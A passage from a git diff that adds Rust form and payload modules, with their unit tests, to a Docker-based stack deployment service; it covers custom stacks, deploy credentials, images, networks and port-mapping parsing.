pub feature: Option>, + #[validate] + pub service: Option>, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + pub custom_stack_code: String, + #[validate(min_length = 3)] + #[validate(max_length = 255)] + pub project_git_url: Option, + pub custom_stack_category: Option>, + pub custom_stack_short_description: Option, + pub custom_stack_description: Option, + // #[validate(min_length = 3)] + // #[validate(max_length = 255)] + pub project_name: Option, + pub project_overview: Option, + pub project_description: Option, + pub marketplace_version: Option, + pub marketplace_changelog: Option, + #[serde(default)] + pub marketplace_update_mode_capabilities: JsonValue, + #[serde(default)] + pub marketplace_config_files: JsonValue, + #[serde(default)] + pub marketplace_assets: JsonValue, + #[serde(default)] + pub marketplace_seed_jobs: JsonValue, + #[serde(default)] + pub marketplace_post_deploy_hooks: JsonValue, + #[serde(default)] + pub deployment_artifacts: JsonValue, + #[serde(flatten)] + pub networks: forms::project::ComposeNetworks, // all networks +} + +fn matches_network_by_id(id: &String, networks: &Vec) -> Option { + for n in networks.into_iter() { + if id == &n.id { + tracing::debug!("matches: {:?}", n.name); + return Some(n.name.clone()); + } + } + None +} + +pub fn replace_id_with_name( + service_networks: dctypes::Networks, + all_networks: &Vec, +) -> Vec { + match service_networks { + dctypes::Networks::Simple(nets) => nets + .iter() + .map(|id| { + if let Some(name) = matches_network_by_id(&id, all_networks) { + name + } else { + "".to_string() + } + }) + .collect::>(), + _ => vec![], + } +} + +impl Custom { + pub fn services(&self) -> Result>, String> { + let mut services = IndexMap::new(); + + let all_networks = self.networks.networks.clone().unwrap_or(vec![]); + + for app_type in &self.web { + let service = app_type.app.try_into_service(&all_networks)?; + services.insert(app_type.app.code.clone().to_owned(), Some(service)); + } + + if let Some(srvs) = &self.service { + for app_type in srvs { + let service = app_type.app.try_into_service(&all_networks)?; + services.insert(app_type.app.code.clone().to_owned(), Some(service)); + } + } + + if let Some(features) = &self.feature { + for app_type in features { + let service = app_type.app.try_into_service(&all_networks)?; + services.insert(app_type.app.code.clone().to_owned(), Some(service)); + } + } + + Ok(services) + } + + pub fn named_volumes( + &self, + ) -> Result>, String> { + let mut named_volumes = IndexMap::new(); + + for app_type in &self.web { + named_volumes.extend(app_type.app.named_volumes()); + } + + if let Some(srvs) = &self.service { + for app_type in srvs { + named_volumes.extend(app_type.app.named_volumes()); + } + } + + if let Some(features) = &self.feature { + for app_type in features { + named_volumes.extend(app_type.app.named_volumes()); + } + } + + Ok(named_volumes) + } +} + +#[cfg(test)] +mod tests { + use super::Custom; + use serde_json::json; + + #[test] + fn custom_form_preserves_marketplace_release_fields() { + let parsed: Custom = serde_json::from_value(json!({ + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_version": "1.2.3", + "marketplace_changelog": "Adds managed updates", + "marketplace_update_mode_capabilities": { + "mode_self_managed": true, + "mode_managed_status_panel": true + }, + "deployment_artifacts": { + "config_bundle": { + "environment": "production" + } + } + })) + .expect("custom form should deserialize"); + + let serialized = serde_json::to_value(parsed).expect("custom form should serialize"); + + assert_eq!(serialized["marketplace_version"], json!("1.2.3")); + assert_eq!( + serialized["marketplace_changelog"], + json!("Adds managed updates") + ); + assert_eq!( + serialized["marketplace_update_mode_capabilities"]["mode_managed_status_panel"], + json!(true) + ); + assert_eq!( + serialized["deployment_artifacts"]["config_bundle"]["environment"], + json!("production") + ); + } +} diff --git a/stacker/stacker/src/forms/project/deploy.rs b/stacker/stacker/src/forms/project/deploy.rs new file mode 100644 index 0000000..9660522 --- /dev/null +++ b/stacker/stacker/src/forms/project/deploy.rs @@ -0,0 +1,104 @@ +use crate::forms; +use crate::forms::{CloudForm, ServerForm}; +use serde_derive::{Deserialize, Serialize}; +use serde_json::Value; +use serde_valid::Validate; + +/// Docker registry credentials for pulling private images during deployment. +#[derive(Default, Clone, PartialEq, Serialize, Deserialize)] +pub struct RegistryForm { + #[serde(skip_serializing_if = "Option::is_none")] + pub docker_username: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub docker_password: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub docker_registry: Option, +} + +impl std::fmt::Debug for RegistryForm { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("RegistryForm") + .field("docker_username", &self.docker_username) + .field("docker_password", &"[REDACTED]") + .field("docker_registry", &self.docker_registry) + .finish() + } +} + +/// Validates that cloud deployments have required instance configuration +fn validate_cloud_instance_config(deploy: &Deploy) -> Result<(), serde_valid::validation::Error> { + // Skip validation for "own" server deployments + if deploy.cloud.provider == "own" { + return Ok(()); + } + + let mut missing = Vec::new(); + + if deploy.server.region.as_ref().is_none_or(|s| s.is_empty()) { + missing.push("region"); + } + if deploy.server.server.as_ref().is_none_or(|s| s.is_empty()) { + missing.push("server"); + } + if deploy.server.os.as_ref().is_none_or(|s| s.is_empty()) { + missing.push("os"); + } + + if missing.is_empty() { + Ok(()) + } else { + Err(serde_valid::validation::Error::Custom(format!( + "Instance configuration incomplete. Missing: {}. Select datacenter, hardware, and OS before deploying.", + missing.join(", ") + ))) + } +} + +#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)] +#[validate(custom(validate_cloud_instance_config))] +pub struct Deploy { + #[validate] + pub(crate) stack: Stack, + #[validate] + pub(crate) server: ServerForm, + #[validate] + pub(crate) cloud: CloudForm, + /// Optional Docker registry credentials for pulling private images. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub(crate) registry: Option, + /// Optional selected deploy environment, e.g. development/staging/production. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub(crate) environment: Option, + /// Config files uploaded by the CLI. Contents may include secrets and must not be logged. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub(crate) config_files: Option, + /// Safe metadata for Stack Builder artifact/config-file visibility. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub(crate) config_bundle: Option, +} + +impl std::fmt::Debug for Deploy { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Deploy") + .field("stack", &self.stack) + .field("server", &self.server) + .field("cloud", &self.cloud) + .field("registry", &self.registry) + .field("environment", &self.environment) + .field("config_files", &"[REDACTED]") + .field("config_bundle", &self.config_bundle) + .finish() + } +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Stack { + #[validate(min_length = 2)] + #[validate(max_length = 255)] + pub stack_code: Option, + pub vars: Option>, + pub integrated_features: Option>, + pub extended_features: Option>, + pub subscriptions: Option>, + pub form_app: Option>, +} diff --git a/stacker/stacker/src/forms/project/docker_image.rs b/stacker/stacker/src/forms/project/docker_image.rs new file mode 100644 index 0000000..9181707 --- /dev/null +++ b/stacker/stacker/src/forms/project/docker_image.rs @@ -0,0 +1,151 @@ +use crate::helpers::dockerhub::DockerHub; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; +use std::fmt; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct DockerImage { + // #[validate(min_length = 3)] + #[validate(max_length = 50)] + // @todo conditional check, if not empty + // #[validate(pattern = r"^[a-z0-9]+([-_.][a-z0-9]+)*$")] + pub dockerhub_user: Option, + // #[validate(min_length = 3)] + #[validate(max_length = 50)] + // @todo conditional check, if not empty + // #[validate(pattern = r"^[a-z0-9]+([-_.][a-z0-9]+)*$")] + pub dockerhub_name: Option, + // #[validate(min_length = 3)] + #[validate(max_length = 100)] + pub dockerhub_image: Option, + pub dockerhub_password: Option, +} + +impl fmt::Display for DockerImage { + // dh_image = trydirect/postgres:latest + // dh_nmsp = trydirect, dh_repo_name=postgres + // dh_nmsp = trydirect dh_repo_name=postgres:v8 + // namespace/repo_name/tag + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + let dh_image = self.dockerhub_image.as_deref().unwrap_or(""); + let dh_nmspc = self.dockerhub_user.as_deref().unwrap_or(""); + let dh_repo_name = self.dockerhub_name.as_deref().unwrap_or(""); + + write!( + f, + "{}{}{}", + if !dh_nmspc.is_empty() { + format!("{}/", dh_nmspc) + } else { + String::new() + }, + if !dh_repo_name.is_empty() { + dh_repo_name + } else { + dh_image + }, + if !dh_repo_name.contains(":") && dh_image.is_empty() { + ":latest".to_string() + } else { + String::new() + }, + ) + } +} + +impl DockerImage { + #[tracing::instrument(name = "is_active", skip_all)] + pub async fn is_active(&self) -> Result { + DockerHub::try_from(self)?.is_active().await + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_display_full_image() { + let img = DockerImage { + dockerhub_user: Some("trydirect".to_string()), + dockerhub_name: Some("postgres:v8".to_string()), + dockerhub_image: None, + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "trydirect/postgres:v8"); + } + + #[test] + fn test_display_image_only() { + let img = DockerImage { + dockerhub_user: None, + dockerhub_name: None, + dockerhub_image: Some("nginx:latest".to_string()), + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "nginx:latest"); + } + + #[test] + fn test_display_name_without_tag_adds_latest() { + let img = DockerImage { + dockerhub_user: Some("myuser".to_string()), + dockerhub_name: Some("myapp".to_string()), + dockerhub_image: None, + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "myuser/myapp:latest"); + } + + #[test] + fn test_display_name_with_tag_no_latest() { + let img = DockerImage { + dockerhub_user: Some("myuser".to_string()), + dockerhub_name: Some("myapp:v2".to_string()), + dockerhub_image: None, + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "myuser/myapp:v2"); + } + + #[test] + fn test_display_no_user_with_name() { + let img = DockerImage { + dockerhub_user: None, + dockerhub_name: Some("redis".to_string()), + dockerhub_image: None, + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "redis:latest"); + } + + #[test] + fn test_display_all_empty() { + let img = DockerImage::default(); + assert_eq!(format!("{}", img), ":latest"); + } + + #[test] + fn test_display_image_takes_precedence_when_name_empty() { + let img = DockerImage { + dockerhub_user: None, + dockerhub_name: None, + dockerhub_image: Some("custom/image:tag".to_string()), + dockerhub_password: None, + }; + assert_eq!(format!("{}", img), "custom/image:tag"); + } + + #[test] + fn test_docker_image_serialization() { + let img = DockerImage { + dockerhub_user: Some("user".to_string()), + dockerhub_name: Some("app".to_string()), + dockerhub_image: Some("user/app:1.0".to_string()), + dockerhub_password: None, + }; + let json = serde_json::to_string(&img).unwrap(); + let deserialized: DockerImage = serde_json::from_str(&json).unwrap(); + assert_eq!(img, deserialized); + } +} diff --git a/stacker/stacker/src/forms/project/domain_list.rs b/stacker/stacker/src/forms/project/domain_list.rs new file mode 100644 index 0000000..cf359ec --- /dev/null +++ b/stacker/stacker/src/forms/project/domain_list.rs @@ -0,0 +1,5 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct DomainList {} diff --git a/stacker/stacker/src/forms/project/environment.rs b/stacker/stacker/src/forms/project/environment.rs new file mode 100644 index 0000000..9e15e4f --- /dev/null +++ b/stacker/stacker/src/forms/project/environment.rs @@ -0,0 +1,51 @@ +use serde::{Deserialize, Deserializer, Serialize}; +use std::collections::HashMap; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Environment { + #[serde(default, deserialize_with = "deserialize_environment")] + pub(crate) environment: Option>, +} + +/// Custom deserializer that accepts either: +/// - An array of {key, value} objects: [{"key": "FOO", "value": "bar"}] +/// - An object/map: {"FOO": "bar"} or {} +fn deserialize_environment<'de, D>(deserializer: D) -> Result>, D::Error> +where + D: Deserializer<'de>, +{ + #[derive(Deserialize)] + #[serde(untagged)] + enum EnvFormat { + Array(Vec), + Map(HashMap), + } + + match Option::::deserialize(deserializer)? { + None => Ok(None), + Some(EnvFormat::Array(arr)) => Ok(Some(arr)), + Some(EnvFormat::Map(map)) => { + if map.is_empty() { + Ok(Some(vec![])) + } else { + let vars: Vec = map + .into_iter() + .map(|(key, value)| EnvVar { + key, + value: match value { + serde_json::Value::String(s) => s, + other => other.to_string(), + }, + }) + .collect(); + Ok(Some(vars)) + } + } + } +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct EnvVar { + pub(crate) key: String, + pub(crate) value: String, +} diff --git a/stacker/stacker/src/forms/project/feature.rs b/stacker/stacker/src/forms/project/feature.rs new file mode 100644 index 0000000..6b65692 --- /dev/null +++ b/stacker/stacker/src/forms/project/feature.rs @@ -0,0 +1,14 @@ +use crate::forms::project::*; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Feature { + // #[serde(rename(deserialize = "sharedPorts"))] + // #[serde(rename(serialize = "shared_ports"))] + // #[serde(alias = "shared_ports")] + // pub shared_ports: Option>, + #[serde(flatten)] + pub app: App, + pub custom: Option, +} diff --git a/stacker/stacker/src/forms/project/form.rs b/stacker/stacker/src/forms/project/form.rs new file mode 100644 index 0000000..3892813 --- /dev/null +++ b/stacker/stacker/src/forms/project/form.rs @@ -0,0 +1,76 @@ +use crate::forms; +use crate::models; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; +use std::str; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct ProjectForm { + pub custom: forms::project::Custom, +} + +impl TryFrom<&models::Project> for ProjectForm { + type Error = String; + + fn try_from(project: &models::Project) -> Result { + serde_json::from_value::(project.metadata.clone()) + .map_err(|err| format!("{:?}", err)) + } +} + +#[derive(Serialize, Default)] +pub struct DockerImageReadResult { + pub(crate) id: String, + pub(crate) readable: bool, +} + +impl ProjectForm { + pub async fn is_readable_docker_image(&self) -> Result { + for app in &self.custom.web { + // Skip Docker Hub validation for custom/CLI-originated apps + if app.custom == Some(true) { + continue; + } + if !app.app.docker_image.is_active().await? { + return Ok(DockerImageReadResult { + id: app.app.id.clone(), + readable: false, + }); + } + } + + if let Some(service) = &self.custom.service { + for app in service { + // Skip Docker Hub validation for custom/CLI-originated apps + if app.custom == Some(true) { + continue; + } + if !app.app.docker_image.is_active().await? { + return Ok(DockerImageReadResult { + id: app.app.id.clone(), + readable: false, + }); + } + } + } + + if let Some(features) = &self.custom.feature { + for app in features { + // Skip Docker Hub validation for custom/CLI-originated apps + if app.custom == Some(true) { + continue; + } + if !app.app.docker_image.is_active().await? { + return Ok(DockerImageReadResult { + id: app.app.id.clone(), + readable: false, + }); + } + } + } + Ok(DockerImageReadResult { + id: "".to_owned(), + readable: true, + }) + } +} diff --git a/stacker/stacker/src/forms/project/icon.rs b/stacker/stacker/src/forms/project/icon.rs new file mode 100644 index 0000000..ee19632 --- /dev/null +++ b/stacker/stacker/src/forms/project/icon.rs @@ -0,0 +1,8 @@ +use crate::forms::project::*; +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Icon { + pub light: IconLight, + pub dark: IconDark, +} diff --git a/stacker/stacker/src/forms/project/icon_dark.rs b/stacker/stacker/src/forms/project/icon_dark.rs new file mode 100644 index 0000000..61a2fe7 --- /dev/null +++ b/stacker/stacker/src/forms/project/icon_dark.rs @@ -0,0 +1,8 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct IconDark { + width: Option, + height: Option, + image: Option, +} diff --git a/stacker/stacker/src/forms/project/icon_light.rs b/stacker/stacker/src/forms/project/icon_light.rs new file mode 100644 index 0000000..90b2c6a --- /dev/null +++ b/stacker/stacker/src/forms/project/icon_light.rs @@ -0,0 +1,8 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct IconLight { + pub width: Option, + pub height: Option, + pub image: Option, +} diff --git a/stacker/stacker/src/forms/project/mod.rs b/stacker/stacker/src/forms/project/mod.rs new file mode 100644 index 0000000..a469626 --- /dev/null +++ b/stacker/stacker/src/forms/project/mod.rs @@ -0,0 +1,54 @@ +mod app; +mod compose_networks; +mod custom; +mod docker_image; +mod domain_list; +mod environment; +mod feature; +pub(crate) mod form; +mod icon; +mod icon_dark; +mod icon_light; +mod network; +mod payload; +mod port; +mod price; +mod requirements; +mod role; +mod service; +mod service_networks; +mod var; +mod version; +mod volume; +mod volumes; +mod web; + +mod deploy; +mod network_driver; + +pub use app::*; +pub use compose_networks::*; +pub use custom::*; +pub use deploy::*; +pub use docker_image::*; +pub use domain_list::*; +pub use environment::*; +pub use feature::*; +pub use form::*; +pub use icon::*; +pub use icon_dark::*; +pub use icon_light::*; +pub use network::*; +pub use network_driver::*; +pub use payload::*; +pub use port::*; +pub use price::*; +pub use requirements::*; +pub use role::*; +pub use service::*; +pub use service_networks::*; +pub use var::*; +pub use version::*; +pub use volume::*; +pub use volumes::*; +pub use web::*; diff --git a/stacker/stacker/src/forms/project/network.rs b/stacker/stacker/src/forms/project/network.rs new file mode 100644 index 0000000..45160dd --- /dev/null +++ b/stacker/stacker/src/forms/project/network.rs @@ -0,0 +1,113 @@ +use crate::forms::project::NetworkDriver; +use docker_compose_types as dctypes; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Network { + pub(crate) id: String, + pub(crate) attachable: Option, + pub(crate) driver: Option, + pub(crate) driver_opts: Option, + pub(crate) enable_ipv6: Option, + pub(crate) internal: Option, + pub(crate) external: Option, + pub(crate) ipam: Option, + pub(crate) labels: Option, + pub(crate) name: String, +} + +impl Default for Network { + fn default() -> Self { + // The case when we need at least one external network to be preconfigured + Network { + id: "default_network".to_string(), + attachable: None, + driver: None, + driver_opts: Default::default(), + enable_ipv6: None, + internal: None, + external: Some(true), + ipam: None, + labels: None, + name: "default_network".to_string(), + } + } +} + +impl Into for Network { + fn into(self) -> dctypes::NetworkSettings { + // default_network is always external=true + let is_default = self.name == String::from("default_network"); + let external = is_default || self.external.unwrap_or(false); + + dctypes::NetworkSettings { + attachable: self.attachable.unwrap_or(false), + driver: self.driver.clone(), + driver_opts: self.driver_opts.unwrap_or_default().into(), // @todo + enable_ipv6: self.enable_ipv6.unwrap_or(false), + internal: self.internal.unwrap_or(false), + external: Some(dctypes::ComposeNetwork::Bool(external)), + ipam: None, // @todo + labels: Default::default(), + name: Some(self.name.clone()), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_network_default_is_external() { + let net = Network::default(); + assert_eq!(net.id, "default_network"); + assert_eq!(net.name, "default_network"); + assert_eq!(net.external, Some(true)); + } + + #[test] + fn test_default_network_to_settings() { + let net = Network::default(); + let settings: dctypes::NetworkSettings = net.into(); + assert_eq!(settings.name, Some("default_network".to_string())); + // default_network is always external + assert!(matches!( + settings.external, + Some(dctypes::ComposeNetwork::Bool(true)) + )); + } + + #[test] + fn test_custom_network_not_external() { + let net = Network { + id: "custom_net".to_string(), + name: "my-network".to_string(), + external: Some(false), + driver: Some("bridge".to_string()), + attachable: Some(true), + enable_ipv6: Some(false), + internal: Some(false), + driver_opts: None, + ipam: None, + labels: None, + }; + let settings: dctypes::NetworkSettings = net.into(); + assert_eq!(settings.name, Some("my-network".to_string())); + assert!(matches!( + settings.external, + Some(dctypes::ComposeNetwork::Bool(false)) + )); + assert_eq!(settings.driver, Some("bridge".to_string())); + assert!(settings.attachable); + } + + #[test] + fn test_network_serialization() { + let net = Network::default(); + let json = serde_json::to_string(&net).unwrap(); + let deserialized: Network = serde_json::from_str(&json).unwrap(); + assert_eq!(net, deserialized); + } +} diff --git a/stacker/stacker/src/forms/project/network_driver.rs b/stacker/stacker/src/forms/project/network_driver.rs new file mode 100644 index 0000000..0b8a46a --- /dev/null +++ b/stacker/stacker/src/forms/project/network_driver.rs @@ -0,0 +1,15 @@ +use docker_compose_types::SingleValue; +use indexmap::IndexMap; +use serde_derive::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct NetworkDriver { + // not implemented +} + +impl Into>> for NetworkDriver { + fn into(self) -> IndexMap> { + IndexMap::new() + } +} diff --git a/stacker/stacker/src/forms/project/payload.rs b/stacker/stacker/src/forms/project/payload.rs new file mode 100644 index 0000000..174e879 --- /dev/null +++ b/stacker/stacker/src/forms/project/payload.rs @@ -0,0 +1,177 @@ +use crate::forms; +use crate::models; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use serde_valid::Validate; +use std::convert::TryFrom; + +#[derive(Default, Clone, PartialEq, Serialize, Deserialize, Validate)] +#[serde(rename_all = "snake_case")] +pub struct Payload { + pub(crate) id: Option, + pub(crate) project_id: Option, + pub(crate) deployment_hash: Option, + pub(crate) user_token: Option, + pub(crate) user_email: Option, + #[serde(flatten)] + pub cloud: Option, + #[serde(flatten)] + pub server: Option, + #[serde(flatten)] + pub stack: forms::project::Stack, + pub custom: forms::project::Custom, + pub docker_compose: Option>, + /// Docker registry credentials for pulling private images on the target server. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub registry: Option, + /// Optional selected deploy environment, e.g. development/staging/production. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub environment: Option, + /// Deploy-time config files uploaded by the CLI. Contents may include secrets. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub config_files: Option, + /// Safe metadata for the deploy-time config bundle. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub config_bundle: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub runtime_artifact_bundle: Option, +} + +impl std::fmt::Debug for Payload { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Payload") + .field("id", &self.id) + .field("project_id", &self.project_id) + .field("deployment_hash", &self.deployment_hash) + .field("user_token", &self.user_token) + .field("user_email", &self.user_email) + .field("cloud", &self.cloud) + .field("server", &self.server) + .field("stack", &self.stack) + .field("custom", &"[REDACTED]") + .field("docker_compose", &"[REDACTED]") + .field("registry", &self.registry) + .field("environment", &self.environment) + .field("config_files", &"[REDACTED]") + .field("config_bundle", &self.config_bundle) + .field("runtime_artifact_bundle", &"[REDACTED]") + .finish() + } +} + +impl TryFrom<&models::Project> for Payload { + type Error = String; + + fn try_from(project: &models::Project) -> Result { + // tracing::debug!("project metadata: {:?}", project.metadata.clone()); + let mut project_data = serde_json::from_value::(project.metadata.clone()) + .map_err(|err| format!("{:?}", err))?; + project_data.project_id = Some(project.id); + + Ok(project_data) + } +} + +#[cfg(test)] +mod tests { + use super::Payload; + use crate::models; + use serde_json::json; + + #[test] + fn payload_try_from_preserves_runtime_artifact_fields() { + let project = models::Project::new( + "user-1".to_string(), + "runtime-artifacts".to_string(), + json!({ + "stack": { + "stack_code": "runtime-artifacts" + }, + "custom": { + "web": [], + "custom_stack_code": "runtime-artifacts", + "marketplace_config_files": [ + {"path": "config/app.env", "content": "APP_ENV=prod"} + ], + "marketplace_assets": [ + {"filename": "runtime-bundle.tgz", "key": "templates/1/runtime-bundle.tgz", "sha256": "abc123", "size": 12, "content_type": "application/gzip", "decompress": true} + ], + "marketplace_seed_jobs": [ + {"name": "seed-admin"} + ], + "marketplace_post_deploy_hooks": [ + {"name": "notify"} + ], + "deployment_artifacts": { + "config_bundle": { + "remote_compose_path": ".stacker/deploy/production/docker-compose.remote.yml" + } + } + }, + "environment": "production", + "config_files": [ + { + "name": "docker-compose.yml", + "content": "services:\n app:\n image: example/app:1.0.0\n" + } + ], + "config_bundle": { + "manifest": { + "environment": "production", + "config_files": [ + { + "destination_path": "/opt/app/.env" + } + ] + } + }, + "runtime_artifact_bundle": { + "filename": "runtime-bundle.tgz", + "download_url": "https://objects.trydirect.test/runtime-bundle.tgz", + "seed_jobs_execution": "deferred", + "post_deploy_execution": "deferred" + } + }), + json!({}), + ); + + let payload = Payload::try_from(&project).expect("payload should deserialize"); + let custom = serde_json::to_value(&payload.custom).expect("serialize custom"); + + assert_eq!( + custom["marketplace_config_files"][0]["path"], + json!("config/app.env") + ); + assert_eq!( + custom["marketplace_assets"][0]["filename"], + json!("runtime-bundle.tgz") + ); + assert_eq!( + custom["marketplace_seed_jobs"][0]["name"], + json!("seed-admin") + ); + assert_eq!( + custom["marketplace_post_deploy_hooks"][0]["name"], + json!("notify") + ); + assert_eq!( + custom["deployment_artifacts"]["config_bundle"]["remote_compose_path"], + json!(".stacker/deploy/production/docker-compose.remote.yml") + ); + assert_eq!( + payload + .runtime_artifact_bundle + .expect("runtime bundle should exist")["download_url"], + json!("https://objects.trydirect.test/runtime-bundle.tgz") + ); + assert_eq!(payload.environment, Some("production".to_string())); + assert_eq!( + payload.config_files.expect("config files should exist")[0]["name"], + json!("docker-compose.yml") + ); + assert_eq!( + payload.config_bundle.expect("config bundle should exist")["manifest"]["environment"], + json!("production") + ); + } +} diff --git a/stacker/stacker/src/forms/project/port.rs b/stacker/stacker/src/forms/project/port.rs new file mode 100644 index 0000000..5078e2f --- /dev/null +++ b/stacker/stacker/src/forms/project/port.rs @@ -0,0 +1,269 @@ +use docker_compose_types as dctypes; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Port { + #[validate(custom(|v| validate_non_empty(v)))] + pub host_port: Option, + #[validate(pattern = r"^\d{2,6}+$")] + pub container_port: String, + #[validate(enumerate("tcp", "udp"))] + pub protocol: Option, +} + +fn validate_non_empty(v: &Option) -> Result<(), serde_valid::validation::Error> { + if v.is_none() { + return Ok(()); + } + + if let Some(value) = v { + if value.is_empty() { + return Ok(()); + } + + let re = Regex::new(r"^\d{2,6}$").unwrap(); + + if !re.is_match(value.as_str()) { + return Err(serde_valid::validation::Error::Custom( + "Port is not valid.".to_owned(), + )); + } + } + + Ok(()) +} + +// impl Default for Port{ +// fn default() -> Self { +// Port { +// target: 80, +// host_ip: None, +// published: None, +// protocol: None, +// mode: None, +// } +// } +// } + +impl TryInto for &Port { + type Error = String; + fn try_into(self) -> Result { + let normalized = normalize_port_mapping(self); + + let cp = normalized + .container_port + .parse::() + .map_err(|_err| "Could not parse container port".to_string())?; + + let hp = match normalized.host_port { + Some(hp) => { + if hp.is_empty() { + None + } else { + match hp.parse::() { + Ok(port) => Some(dctypes::PublishedPort::Single(port)), + Err(_) => { + tracing::debug!("Could not parse host port: {}", hp); + None + } + } + } + } + _ => None, + }; + + tracing::debug!("Port conversion result: cp: {:?} hp: {:?}", cp, hp); + + Ok(dctypes::Port { + target: cp, + host_ip: normalized.host_ip, + published: hp, + protocol: self.protocol.clone(), + mode: None, + }) + } +} + +struct NormalizedPortMapping { + host_ip: Option, + host_port: Option, + container_port: String, +} + +fn normalize_port_mapping(port: &Port) -> NormalizedPortMapping { + let container_no_proto = port + .container_port + .split('/') + .next() + .unwrap_or(port.container_port.as_str()); + + if let Some((host_part, container_port)) = container_no_proto.rsplit_once(':') { + let (host_ip, host_port) = match host_part.rsplit_once(':') { + Some((ip, published)) => (Some(ip.to_string()), Some(published.to_string())), + None => match port.host_port.as_deref() { + Some(host) if host.parse::().is_err() => { + (Some(host.to_string()), Some(host_part.to_string())) + } + _ => (None, Some(host_part.to_string())), + }, + }; + + return NormalizedPortMapping { + host_ip, + host_port, + container_port: container_port.to_string(), + }; + } + + NormalizedPortMapping { + host_ip: None, + host_port: port.host_port.clone(), + container_port: container_no_proto.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_validate_non_empty_none() { + assert!(validate_non_empty(&None).is_ok()); + } + + #[test] + fn test_validate_non_empty_empty_string() { + assert!(validate_non_empty(&Some("".to_string())).is_ok()); + } + + #[test] + fn test_validate_non_empty_valid_port() { + assert!(validate_non_empty(&Some("8080".to_string())).is_ok()); + assert!(validate_non_empty(&Some("80".to_string())).is_ok()); + assert!(validate_non_empty(&Some("443".to_string())).is_ok()); + } + + #[test] + fn test_validate_non_empty_invalid_port() { + assert!(validate_non_empty(&Some("abc".to_string())).is_err()); + assert!(validate_non_empty(&Some("1".to_string())).is_err()); // too short (min 2 digits) + assert!(validate_non_empty(&Some("1234567".to_string())).is_err()); // too long (max 6 digits) + } + + #[test] + fn test_port_try_into_valid() { + let port = Port { + host_port: Some("8080".to_string()), + container_port: "80".to_string(), + protocol: Some("tcp".to_string()), + }; + let result: Result = (&port).try_into(); + assert!(result.is_ok()); + let dc_port = result.unwrap(); + assert_eq!(dc_port.target, 80); + } + + #[test] + fn test_port_try_into_accepts_host_ip_mapping_in_container_port() { + let port = Port { + host_port: Some("127.0.0.1".to_string()), + container_port: "1025:25".to_string(), + protocol: Some("tcp".to_string()), + }; + + let result: Result = (&port).try_into(); + + assert!(result.is_ok()); + let dc_port = result.unwrap(); + assert_eq!(dc_port.target, 25); + assert_eq!(dc_port.host_ip.as_deref(), Some("127.0.0.1")); + assert_eq!( + dc_port.published, + Some(dctypes::PublishedPort::Single(1025)) + ); + assert_eq!(dc_port.protocol.as_deref(), Some("tcp")); + } + + #[test] + fn test_port_try_into_accepts_full_compose_mapping_in_container_port() { + let port = Port { + host_port: None, + container_port: "127.0.0.1:1025:25/tcp".to_string(), + protocol: None, + }; + + let result: Result = (&port).try_into(); + + assert!(result.is_ok()); + let dc_port = result.unwrap(); + assert_eq!(dc_port.target, 25); + assert_eq!(dc_port.host_ip.as_deref(), Some("127.0.0.1")); + assert_eq!( + dc_port.published, + Some(dctypes::PublishedPort::Single(1025)) + ); + } + + #[test] + fn test_port_try_into_no_host_port() { + let port = Port { + host_port: None, + container_port: "3000".to_string(), + protocol: None, + }; + let result: Result = (&port).try_into(); + assert!(result.is_ok()); + let dc_port = result.unwrap(); + assert_eq!(dc_port.target, 3000); + assert!(dc_port.published.is_none()); + } + + #[test] + fn test_port_try_into_empty_host_port() { + let port = Port { 